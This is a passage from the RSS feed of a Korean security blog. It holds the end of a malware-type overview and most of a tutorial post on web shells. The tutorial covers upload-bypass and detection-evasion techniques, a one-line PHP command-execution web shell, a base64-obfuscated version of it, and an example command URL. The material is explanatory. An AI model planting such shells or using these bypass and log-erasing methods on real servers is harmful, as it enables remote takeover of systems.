&lt;td&gt;&lt;span&gt;파일 암호화 + 데이터 탈취 후 공개 협박 (이중 갈취 시작)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Conti&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2020&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Maze 후계자, 이중 갈취 전략 강화, 병원/공공기관 공격&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;DarkSide&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2020&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Colonial Pipeline 공격, 국가 기반 인프라 공격 등장&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;LockBit&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2020~2025&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;자동화된 네트워크 확산, 현재 가장 활동적인 랜섬웨어 그룹&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;BlackCat (ALPHV)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2021~&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Rust 언어로 개발된 고급 랜섬웨어, RaaS 형태&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Cl0p&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;2019~2025&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;MOVEit Transfer 제로데이 취약점 악용 (2023~2024년 대규모 공격)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5&lt;/b&gt;&lt;b&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Spyware (스파이웨어)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자의 행동이나 정보를 몰래 수집.&lt;/li&gt;
&lt;li&gt;광고 타겟팅, 계정 탈취 목적으로 많이 사용됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 122px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;height: 20px; text-align: center;&quot;&gt;종류&lt;/td&gt;
&lt;td style=&quot;height: 20px; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Keylogger&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;사용자의 키보드 입력을 몰래 기록하여 비밀번호, 신용카드 정보 탈취&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Password Stealer&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;저장된 계정과 패스워드를 수집&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Infostealer&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;문서, 쿠키, 브라우저 자동완성 데이터 등 파일 및 민감 데이터 수집&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Adware&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;광고를 무차별로 노출하거나 광고 클릭을 유도 (수익 목적)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Tracking Cookie&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;사용자의 웹사이트 방문 기록을 추적하고 분석&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;System Monitor&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;스크린샷 촬영, 파일 접근 기록, 이메일 활동까지 감시&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Rootkit (루트킷)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템의 핵심부에 숨어&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;자신의 존재를 숨김&lt;/b&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;보안 프로그램, 관리자 권한 확인에서도 보이지 않게 만듦.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;7.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Botnet (봇넷)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Botnet&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;=&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Bot + Network&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;의 합성어입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;수많은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;감염된 컴퓨터(= Bot 또는 Zombie PC)&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 하나의 네트워크로 연결하여,&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;공격자가 원격에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;명령을 내리고 조종&lt;/b&gt;&lt;/span&gt;할 수 있게 만든 시스템입니다.&lt;/li&gt;
&lt;li&gt;봇넷은 보통 &amp;ldquo;사령부&amp;rdquo; 역할을 하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;C&amp;amp;C 서버(Command &amp;amp; Control Server)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;로부터 명령을 받아 동작합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;요약: &amp;ldquo;많은 감염된 기기들을 하나의 군대처럼 다루는 것&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;봇넷의 주요 구성요소&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;구성요소&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Bot (봇)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;악성코드에 감염되어 공격자의 명령을 따르는 감염된 기기&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;C&amp;amp;C Server (명령제어 서버)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;봇에게 명령을 내리고 결과를 수집하는 중심 서버&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Dropper&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;초기 감염을 담당하는 악성코드&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Proxy Layer&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;실제 공격자 대신 다른 봇을 통해 명령을 전달해 추적을 어렵게 함&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;P2P Botnet&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(신형)&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;중앙 서버 없이 봇끼리 직접 통신하는 분산형 구조&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;봇넷의 사용 목적&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;목적&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;DDoS 공격&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;수천 대 기기가 동시에 공격, 서버 다운&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;스팸메일 발송&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대량의 피싱 메일, 스팸 메일 발송&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;정보 탈취&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;키로깅, 스니핑 등을 통해 정보 수집&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;랜섬웨어 배포&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;대규모 랜섬웨어 감염 확산 수단&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;광고 클릭 사기(Click Fraud)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;봇이 광고를 자동 클릭해서 수익 조작&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;암호화폐 채굴&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;감염된 기기의 CPU/GPU를 몰래 이용해 암호화폐 채굴&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;8.&lt;span&gt; B&lt;/span&gt;&lt;/b&gt;&lt;b&gt;ackdoor (백도어)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상적인 인증 절차를 우회해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;은밀하게 시스템에 접근&lt;/b&gt;&lt;/span&gt;할 수 있도록 해줌.&lt;/li&gt;
&lt;li&gt;다른 악성코드가 설치한 경우가 많음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;9.&lt;span&gt; &amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Fileless Malware (파일리스 악성코드)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하드디스크에 파일을 남기지 않고, 메모리 상에서만 활동.&lt;/li&gt;
&lt;li&gt;탐지가 어려워서 최근 APT(Advanced Persistent Threat) 공격에 자주 활용됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;10.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Logic Bomb (로직폭탄)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평상시에는 조용히 있다가,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;특정 이벤트가 발생하면 활성화&lt;/b&gt;&lt;/span&gt;됨.&lt;/li&gt;
&lt;li&gt;예: 특정 날짜에 시스템을 파괴하는 코드.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;11.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Rogue Software (가짜 보안 소프트웨어)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자에게 &amp;ldquo;PC가 바이러스에 감염되었습니다!&amp;rdquo; 경고를 띄우고,&lt;/li&gt;
&lt;li&gt;엉터리 백신 구매를 유도하거나 추가 악성코드를 설치하게 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 현대 악성코드는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;여러 가지 종류를 조합&lt;/b&gt;&lt;/span&gt;합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;트로이 목마 + 백도어 + 스파이웨어&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;특히 랜섬웨어는 요즘은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Spyware 기능까지 통합&lt;/b&gt;&lt;/span&gt;해서, 암호화 + 정보탈취를 동시에 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/21</guid>
      <comments>https://defcon.tistory.com/21#entry21comment</comments>
      <pubDate>Sun, 27 Apr 2025 17:19:02 +0900</pubDate>
    </item>
    <item>
      <title>웹쉘(Web Shell) 개념</title>
      <link>https://defcon.tistory.com/18</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;1. 웹쉘(Web Shell) 개념&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹쉘(Web Shell)은 웹 서버 상에 업로드된&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;악성 스크립트 파일&lt;/b&gt;을 말합니다. 이 파일은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;웹 서버에 대한 명령 실행 권한&lt;/b&gt;을 공격자에게 제공합니다. 웹쉘 파일은 보통&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;PHP, ASP, JSP, Perl, Python&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 웹서버 지원 언어로 작성됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 요약하면 웹쉘은 &lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;웹 서버에 &quot;쉘(shell)&quot;처럼 동작하는 악성 코드를 몰래 심어서 서버를 원격 조작하는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;2. 웹쉘 공격의 기본 흐름&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;취약점 탐색&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 업로드 기능, 입력값 검증 미흡, 경로 탐색 취약점 등을 노립니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;웹쉘 업로드&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 스크립트 파일을 서버에 올립니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;웹쉘 실행&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹쉘에 접속하여 명령어를 보내고 결과를 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;추가 침투&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 내부 권한 상승, 추가 백도어 설치, 데이터 탈취 등으로 이어집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;3. 웹쉘 업로드 방법 (공격 기술)&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 119px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;주요 공격기법&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;파일 업로드 취약점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;업로드 파일의 확장자나 내용을 제대로 검증하지 않아 악성 파일 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;MIME Type 우회&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Content-Type을 조작하여 이미지 파일처럼 속이고 악성코드 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;이중 확장자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;image.php.jpg,&lt;span&gt;&amp;nbsp;&lt;/span&gt;file.asp;.jpg&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 형태로 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;파일 인클루전(Local File Inclusion, LFI)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;취약한 인클루전 기능을 이용해 서버 내부 파일을 덮어쓰기 또는 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;SQL Injection + 파일 쓰기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;SQL Injection을 통해 서버 파일 시스템에 웹쉘 파일 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;RCE (Remote Code Execution)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;원격 코드 실행 취약점으로 바로 웹쉘 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;4. 웹쉘 은닉 및 탐지 회피 기법&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;기법&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;파일명 위장&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;favicon.ico,&lt;span&gt;&amp;nbsp;&lt;/span&gt;upload.jpg처럼 정상 파일로 보이게 이름 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;확장자 위장&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;.php5,&lt;span&gt;&amp;nbsp;&lt;/span&gt;.phtml&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 허용된 확장자를 악용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;코드 난독화&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Base64 인코딩, 복잡한 문자열 처리 등으로 소스 분석 어렵게 만듦&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;스텔스 모드&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;실행 후 파일 삭제, 메모리 상에서만 동작하는 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;로그 제거&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;웹 서버 또는 시스템 로그를 조작하거나 삭제하여 흔적 은폐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;5. 웹쉘 공격 사례별 예시&lt;/h1&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(1) PHP 웹쉘 기본 형태&lt;/h3&gt;
&lt;pre class=&quot;xml&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접속 시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://target.com/shell.php?cmd=ls&quot;&gt;http://target.com/shell.php?cmd=ls&lt;/a&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 서버에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;ls&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(2) 난독화된 웹쉘&lt;/h3&gt;
&lt;pre class=&quot;xml&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;&amp;lt;?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); 
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;base64 디코딩하면&lt;span&gt;&amp;nbsp;&lt;/span&gt;system($_GET['cmd']);로 변환됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(3) 파일 업로드 우회 공격 예&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 가능한 확장자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;jpg,&lt;span&gt;&amp;nbsp;&lt;/span&gt;png만 허용될 경우:
